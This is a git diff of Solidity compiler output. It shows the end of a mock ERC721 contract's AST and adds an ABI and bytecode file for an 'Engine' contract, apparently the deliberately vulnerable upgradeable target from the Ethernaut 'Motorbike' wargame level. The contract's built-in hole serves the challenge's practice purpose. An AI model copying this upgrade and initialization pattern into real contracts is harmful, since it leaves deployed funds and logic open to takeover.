0"}],"id":33425,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6906:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33424,"name":"address","nodeType":"ElementaryTypeName","src":"6906:7:21","typeDescriptions":{}}},"id":33427,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6906:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33428,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33405,"src":"6918:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"","id":33429,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6922:2:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"arguments":[{"id":33419,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33403,"src":"6873:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33418,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"6852:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6852:24:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC721TokenReceiver_$33512","typeString":"contract IERC721TokenReceiver"}},"id":33421,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6877:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"6852:41:21","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_memory_ptr_$returns$_t_bytes4_$","typeString":"function (address,address,uint256,bytes memory) external returns (bytes4)"}},"id":33430,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6852:73:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":33431,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"6949:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33432,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6970:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"6949:37:21","typeDescriptions":{"typeIdentifier":"t_function_declaration_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_calldata_ptr_$returns$_t_bytes4_$","typeString":"function IERC721TokenReceiver.onERC721Received(address,address,uint256,bytes calldata) returns (bytes4)"}},"id":33433,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6987:8:21","memberName":"selector","nodeType":"MemberAccess","src":"6949:46:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"6852:143:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"6816:179:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"554e534146455f524543495049454e54","id":33436,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7009:18:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""},"value":"UNSAFE_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""}],"id":33413,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"6795:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33437,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6795:242:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33438,"nodeType":"ExpressionStatement","src":"6795:242:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_safeMint","nameLocation":"6710:9:21","parameters":{"id":33406,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33403,"mutability":"mutable","name":"to","nameLocation":"6728:2:21","nodeType":"VariableDeclaration","scope":33440,"src":"6720:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33402,"name":"address","nodeType":"ElementaryTypeName","src":"6720:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33405,"mutability":"mutable","name":"id","nameLocation":"6740:2:21","nodeType":"VariableDeclaration","scope":33440,"src":"6732:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33404,"name":"uint256","nodeType":"ElementaryTypeName","src":"6732:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6719:24:21"},"returnParameters":{"id":33407,"nodeType":"ParameterList","parameters":[],"src":"6761:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":33481,"nodeType":"FunctionDefinition","src":"7050:364:21","nodes":[],"body":{"id":33480,"nodeType":"Block","src":"7129:285:21","nodes":[],"statements":[{"expression":{"arguments":[{"id":33450,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33442,"src":"7145:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33451,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33444,"src":"7149:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":33449,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33355,"src":"7139:5:21","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":33452,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7139:13:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33453,"nodeType":"ExpressionStatement","src":"7139:13:21"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":33476,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33458,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"7184:16:21","subExpression":{"arguments":[{"id":33456,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33442,"src":"7197:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33455,"name":"_isContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33497,"src":"7185:11:21","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":33457,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7185:15:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":33475,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"expression":{"id":33463,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"7262:3:21","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":33464,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7266:6:21","memberName":"sender","nodeType":"MemberAccess","src":"7262:10:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"30","id":33467,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7282:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":33466,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7274:7:21","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":33465,"name":"address","nodeType":"ElementaryTypeName","src":"7274:7:21","typeDescriptions":{}}},"id":33468,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7274:10:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":33469,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33444,"src":"7286:2:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":33470,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33446,"src":"7290:4:21","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":33460,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33442,"src":"7241:2:21","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":33459,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"7220:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33461,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7220:24:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC721TokenReceiver_$33512","typeString":"contract IERC721TokenReceiver"}},"id":33462,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7245:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"7220:41:21","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_memory_ptr_$returns$_t_bytes4_$","typeString":"function (address,address,uint256,bytes memory) external returns (bytes4)"}},"id":33471,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7220:75:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":33472,"name":"IERC721TokenReceiver","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33512,"src":"7319:20:21","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC721TokenReceiver_$33512_$","typeString":"type(contract IERC721TokenReceiver)"}},"id":33473,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7340:16:21","memberName":"onERC721Received","nodeType":"MemberAccess","referencedDeclaration":33511,"src":"7319:37:21","typeDescriptions":{"typeIdentifier":"t_function_declaration_nonpayable$_t_address_$_t_address_$_t_uint256_$_t_bytes_calldata_ptr_$returns$_t_bytes4_$","typeString":"function IERC721TokenReceiver.onERC721Received(address,address,uint256,bytes calldata) returns (bytes4)"}},"id":33474,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7357:8:21","memberName":"selector","nodeType":"MemberAccess","src":"7319:46:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"7220:145:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"7184:181:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"554e534146455f524543495049454e54","id":33477,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"7379:18:21","typeDescriptions":{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""},"value":"UNSAFE_RECIPIENT"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_91aca405bce635db2380c779628055bea528973696064aeec59f909f41accf6d","typeString":"literal_string \"UNSAFE_RECIPIENT\""}],"id":33454,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7163:7:21","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":33478,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7163:244:21","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":33479,"nodeType":"ExpressionStatement","src":"7163:244:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_safeMint","nameLocation":"7059:9:21","parameters":{"id":33447,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33442,"mutability":"mutable","name":"to","nameLocation":"7077:2:21","nodeType":"VariableDeclaration","scope":33481,"src":"7069:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33441,"name":"address","nodeType":"ElementaryTypeName","src":"7069:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33444,"mutability":"mutable","name":"id","nameLocation":"7089:2:21","nodeType":"VariableDeclaration","scope":33481,"src":"7081:10:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33443,"name":"uint256","nodeType":"ElementaryTypeName","src":"7081:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33446,"mutability":"mutable","name":"data","nameLocation":"7106:4:21","nodeType":"VariableDeclaration","scope":33481,"src":"7093:17:21","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":33445,"name":"bytes","nodeType":"ElementaryTypeName","src":"7093:5:21","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7068:43:21"},"returnParameters":{"id":33448,"nodeType":"ParameterList","parameters":[],"src":"7129:0:21"},"scope":33498,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":33497,"nodeType":"FunctionDefinition","src":"7599:278:21","nodes":[],"body":{"id":33496,"nodeType":"Block","src":"7663:214:21","nodes":[],"statements":[{"assignments":[33489],"declarations":[{"constant":false,"id":33489,"mutability":"mutable","name":"codeLength","nameLocation":"7681:10:21","nodeType":"VariableDeclaration","scope":33496,"src":"7673:18:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33488,"name":"uint256","nodeType":"ElementaryTypeName","src":"7673:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":33490,"nodeType":"VariableDeclarationStatement","src":"7673:18:21"},{"AST":{"nativeSrc":"7783:56:21","nodeType":"YulBlock","src":"7783:56:21","statements":[{"nativeSrc":"7797:32:21","nodeType":"YulAssignment","src":"7797:32:21","value":{"arguments":[{"name":"_addr","nativeSrc":"7823:5:21","nodeType":"YulIdentifier","src":"7823:5:21"}],"functionName":{"name":"extcodesize","nativeSrc":"7811:11:21","nodeType":"YulIdentifier","src":"7811:11:21"},"nativeSrc":"7811:18:21","nodeType":"YulFunctionCall","src":"7811:18:21"},"variableNames":[{"name":"codeLength","nativeSrc":"7797:10:21","nodeType":"YulIdentifier","src":"7797:10:21"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":33483,"isOffset":false,"isSlot":false,"src":"7823:5:21","valueSize":1},{"declaration":33489,"isOffset":false,"isSlot":false,"src":"7797:10:21","valueSize":1}],"id":33491,"nodeType":"InlineAssembly","src":"7774:65:21"},{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":33494,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":33492,"name":"codeLength","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33489,"src":"7856:10:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":33493,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"7869:1:21","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"7856:14:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":33487,"id":33495,"nodeType":"Return","src":"7849:21:21"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_isContract","nameLocation":"7608:11:21","parameters":{"id":33484,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33483,"mutability":"mutable","name":"_addr","nameLocation":"7628:5:21","nodeType":"VariableDeclaration","scope":33497,"src":"7620:13:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33482,"name":"address","nodeType":"ElementaryTypeName","src":"7620:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7619:15:21"},"returnParameters":{"id":33487,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33486,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33497,"src":"7657:4:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":33485,"name":"bool","nodeType":"ElementaryTypeName","src":"7657:4:21","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"7656:6:21"},"scope":33498,"stateMutability":"view","virtual":false,"visibility":"private"}],"abstract":false,"baseContracts":[{"baseName":{"id":32899,"name":"IERC721Metadata","nameLocations":["404:15:21"],"nodeType":"IdentifierPath","referencedDeclaration":32125,"src":"404:15:21"},"id":32900,"nodeType":"InheritanceSpecifier","src":"404:15:21"}],"canonicalName":"MockERC721","contractDependencies":[],"contractKind":"contract","documentation":{"id":32898,"nodeType":"StructuredDocumentation","src":"125:256:21","text":"@notice This is a mock contract of the ERC721 standard for testing purposes only, it SHOULD NOT be used in production.\n @dev Forked from: https://github.com/transmissions11/solmate/blob/0384dbaaa4fcb5715738a9254a7c0a4cb62cf458/src/tokens/ERC721.sol"},"fullyImplemented":true,"linearizedBaseContracts":[33498,32125,32085,31873],"name":"MockERC721","nameLocation":"390:10:21","scope":33513,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":33512,"nodeType":"ContractDefinition","src":"7881:134:21","nodes":[{"id":33511,"nodeType":"FunctionDefinition","src":"7918:95:21","nodes":[],"functionSelector":"150b7a02","implemented":false,"kind":"function","modifiers":[],"name":"onERC721Received","nameLocation":"7927:16:21","parameters":{"id":33507,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33500,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"7944:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33499,"name":"address","nodeType":"ElementaryTypeName","src":"7944:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33502,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"7953:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":33501,"name":"address","nodeType":"ElementaryTypeName","src":"7953:7:21","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":33504,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"7962:7:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":33503,"name":"uint256","nodeType":"ElementaryTypeName","src":"7962:7:21","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":33506,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"7971:14:21","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":33505,"name":"bytes","nodeType":"ElementaryTypeName","src":"7971:5:21","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7943:43:21"},"returnParameters":{"id":33510,"nodeType":"ParameterList","parameters":[{"constant":false,"id":33509,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":33511,"src":"8005:6:21","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":33508,"name":"bytes4","nodeType":"ElementaryTypeName","src":"8005:6:21","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"8004:8:21"},"scope":33512,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC721TokenReceiver","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[33512],"name":"IERC721TokenReceiver","nameLocation":"7891:20:21","scope":33513,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":21} \ No newline at end of file diff --git a/contracts/out/Motorbike.sol/Engine.json b/contracts/out/Motorbike.sol/Engine.json new file mode 100644 index 000000000..be8a00689 --- /dev/null +++ b/contracts/out/Motorbike.sol/Engine.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"horsePower","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"initialize","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"upgradeToAndCall","inputs":[{"name":"newImplementation","type":"address","internalType":"address"},{"name":"data","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"payable"},{"type":"function","name":"upgrader","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561001057600080fd5b50610529806100206000396000f3fe60806040526004361061003f5760003560e01c80634f1ef28614610044578063564f6d71146100fc5780638129fc1c14610123578063af26974514610138575b600080fd5b6100fa6004803603604081101561005a57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561008557600080fd5b82018360208201111561009757600080fd5b803590602001918460018302840111640100000000831117156100b957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610169945050505050565b005b34801561010857600080fd5b5061011161017f565b60408051918252519081900360200190f35b34801561012f57600080fd5b506100fa610185565b34801561014457600080fd5b5061014d61025c565b604080516001600160a01b039092168252519081900360200190f35b610171610271565b61017b82826102d8565b5050565b60015481565b600054610100900460ff168061019e575061019e6103e4565b806101ac575060005460ff16155b6101e75760405162461bcd60e51b815260040180806020018281038252602e815260200180610499602e913960400191505060405180910390fd5b600054610100900460ff16158015610212576000805460ff1961ff0019909116610100171660011790555b6103e8600155600080547fffffffffffffffffffff0000000000000000000000000000000000000000ffff163362010000021790558015610259576000805461ff00191690555b50565b6000546201000090046001600160a01b031681565b6000546201000090046001600160a01b031633146102d6576040805162461bcd60e51b815260206004820152600d60248201527f43616e2774207570677261646500000000000000000000000000000000000000604482015290519081900360640190fd5b565b6102e1826103f5565b80511561017b576000826001600160a01b0316826040518082805190602001908083835b602083106103245780518252601f199092019160209182019101610305565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610384576040519150601f19603f3d011682016040523d82523d6000602084013e610389565b606091505b50509050806103df576040805162461bcd60e51b815260206004820152600b60248201527f43616c6c206661696c6564000000000000000000000000000000000000000000604482015290519081900360640190fd5b505050565b60006103ef30610492565b15905090565b6103fe81610492565b6104395760405162461bcd60e51b815260040180806020018281038252602d8152602001806104c7602d913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3b15159056fe496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374a2646970667358221220554dd42a786d92c690d4f4524d0bf8c618f776bb922113b892b1bfff62a1d32a64736f6c634300060c0033","sourceMap":"1908:1734:8:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061003f5760003560e01c80634f1ef28614610044578063564f6d71146100fc5780638129fc1c14610123578063af26974514610138575b600080fd5b6100fa6004803603604081101561005a57600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561008557600080fd5b82018360208201111561009757600080fd5b803590602001918460018302840111640100000000831117156100b957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610169945050505050565b005b34801561010857600080fd5b5061011161017f565b60408051918252519081900360200190f35b34801561012f57600080fd5b506100fa610185565b34801561014457600080fd5b5061014d61025c565b604080516001600160a01b039092168252519081900360200190f35b610171610271565b61017b82826102d8565b5050565b60015481565b600054610100900460ff168061019e575061019e6103e4565b806101ac575060005460ff16155b6101e75760405162461bcd60e51b815260040180806020018281038252602e815260200180610499602e913960400191505060405180910390fd5b600054610100900460ff16158015610212576000805460ff1961ff0019909116610100171660011790555b6103e8600155600080547fffffffffffffffffffff0000000000000000000000000000000000000000ffff163362010000021790558015610259576000805461ff00191690555b50565b6000546201000090046001600160a01b031681565b6000546201000090046001600160a01b031633146102d6576040805162461bcd60e51b815260206004820152600d60248201527f43616e2774207570677261646500000000000000000000000000000000000000604482015290519081900360640190fd5b565b6102e1826103f5565b80511561017b576000826001600160a01b0316826040518082805190602001908083835b602083106103245780518252601f199092019160209182019101610305565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610384576040519150601f19603f3d011682016040523d82523d6000602084013e610389565b606091505b50509050806103df576040805162461bcd60e51b815260206004820152600b60248201527f43616c6c206661696c6564000000000000000000000000000000000000000000604482015290519081900360640190fd5b505050565b60006103ef30610492565b15905090565b6103fe81610492565b6104395760405162461bcd60e51b815260040180806020018281038252602d8152602001806104c7602d913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3b15159056fe496e697469616c697a6162